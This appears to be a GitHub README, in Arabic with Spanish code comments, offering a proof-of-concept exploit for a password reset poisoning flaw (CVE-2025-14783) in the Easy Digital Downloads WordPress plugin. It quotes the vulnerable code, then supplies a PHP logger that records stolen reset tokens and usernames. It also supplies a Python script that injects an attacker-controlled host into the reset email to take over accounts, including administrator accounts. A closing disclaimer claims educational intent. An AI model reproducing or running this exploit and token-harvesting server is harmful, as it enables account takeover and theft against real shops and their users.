
🧨 CVE-2025-14783: Easy Digital Downloads إثبات المفهوم للاستيلاء على الحساب
"الثقة هي ثغرة الأمن الأكثر استغلالًا."
يحتوي هذا المستودع على إثبات مفهوم (PoC) عملي لـ CVE-2025-14783، وهي ثغرة أمنية حرجة من نوع تسميم إعادة تعيين كلمة المرور (Password Reset Poisoning) في الإضافة Easy Digital Downloads (EDD) لووردبريس (الإصدارات <= 3.6.2).
بسبب نقص التحقق من صحة المعامل edd_redirect أثناء عملية طلب إعادة تعيين كلمة المرور، يمكن لمهاجم عن بعد غير مصادق حقن نطاق ضار. يؤدي هذا إلى أن يحتوي البريد الإلكتروني الشرعي الذي ترسله المتجر على رابط إعادة تعيين يشير إلى خادم المهاجم، مما يؤدي إلى تسريب رمز الوصول (key) والسماح بـ الاستيلاء الكامل على الحساب (ATO)، حتى لحسابات المسؤول.
يكمن الخلل في الدالة التي تبني رابط إعادة التعيين داخل البريد الإلكتروني. يستخدم الكود الضعيف الدالة esc_url_raw() لـ "تنظيف" الإدخال، لكنه لا يتحقق من المضيف الهدف.
// El desarrollador confió en que esc_url_raw era suficiente seguridad... error fatal.
$message = str_replace(
'{password_reset_link}',
add_query_arg(
array(
'edd_action' => 'password_reset_requested',
'key' => $key,
'login' => rawurlencode( $user_login ),
),
esc_url_raw( $_POST['edd_redirect'] ) // <--- PUNTO DE INYECCIÓN
),
$message
);
بالتحكم في $_POST['edd_redirect']، نتحكم في أساس الرابط المُنشأ.
requests lib (pip install requests)ارفع النص البرمجي PHP التالي (logger.php) إلى خادمك الضار لاعتراض رموز الضحايا.
<?php
// logger.php - Captura el token y el usuario
$key = $_GET['key'] ?? '';
$login = $_GET['login'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'];
$date = date('Y-m-d H:i:s');
if ($key && $login) {
$log = "[$date] TARGET: $login | TOKEN: $key | IP: $ip" . PHP_EOL;
file_put_contents('loot.txt', $log, FILE_APPEND);
echo "System maintenance. Please try again later."; // Ingeniería social básica
}
?>
عدّل النص البرمجي exploit.py بأهدافك ثم شغّله.
python3 exploit.py
exploit.py)import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# CONFIGURACIÓN
TARGET_URL = "http://vulnerable-shop.com/" # URL raíz de la tienda
VICTIM_EMAIL = "[email protected]"
ATTACKER_HOST = "http://tu-servidor-malicioso.com/logger.php"
def poison_reset_link():
print(f"[*] Objetivo: {TARGET_URL}")
print(f"[*] Víctima: {VICTIM_EMAIL}")
print(f"[*] Envenenando enlace con: {ATTACKER_HOST}")
# Payload para inyectar la redirección
data = {
'edd_action': 'user_send_password_reset',
'user_email': VICTIM_EMAIL,
'edd_redirect': ATTACKER_HOST
}
try:
# Enviamos la petición al endpoint principal (o donde EDD escuche el POST)
r = requests.post(TARGET_URL, data=data, verify=False, timeout=10)
if r.status_code == 200:
print("[+] ¡Éxito! Correo envenenado enviado.")
print("[*] Ahora espera a que la víctima haga clic en el enlace del correo.")
print("[*] Revisa 'loot.txt' en tu servidor para obtener el token.")
else:
print(f"[-] Fallo. Código de estado: {r.status_code}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
poison_reset_link()
| السرية | السلامة | التوفر |
|---|---|---|
| عالي 🟥 | عالي 🟥 | منخفض 🟩 |
يمكن للمهاجم الناجح أن:
يتم توفير هذا البرنامج للأغراض التعليمية وبحوث الأمن فقط. المؤلف (ZeroEthical) غير مسؤول عن سوء استخدام هذه المعلومات. مهاجمة أهداف دون إذن كتابي مسبق غير قانونية وقد تؤدي إلى إجراءات قانونية صارمة. استخدمه على مسؤوليتك الخاصة في بيئات خاضعة للسيطرة.
مدعوم من ZeroEthical
"نحن لا نصلح الثغرات، نحن نوضحها."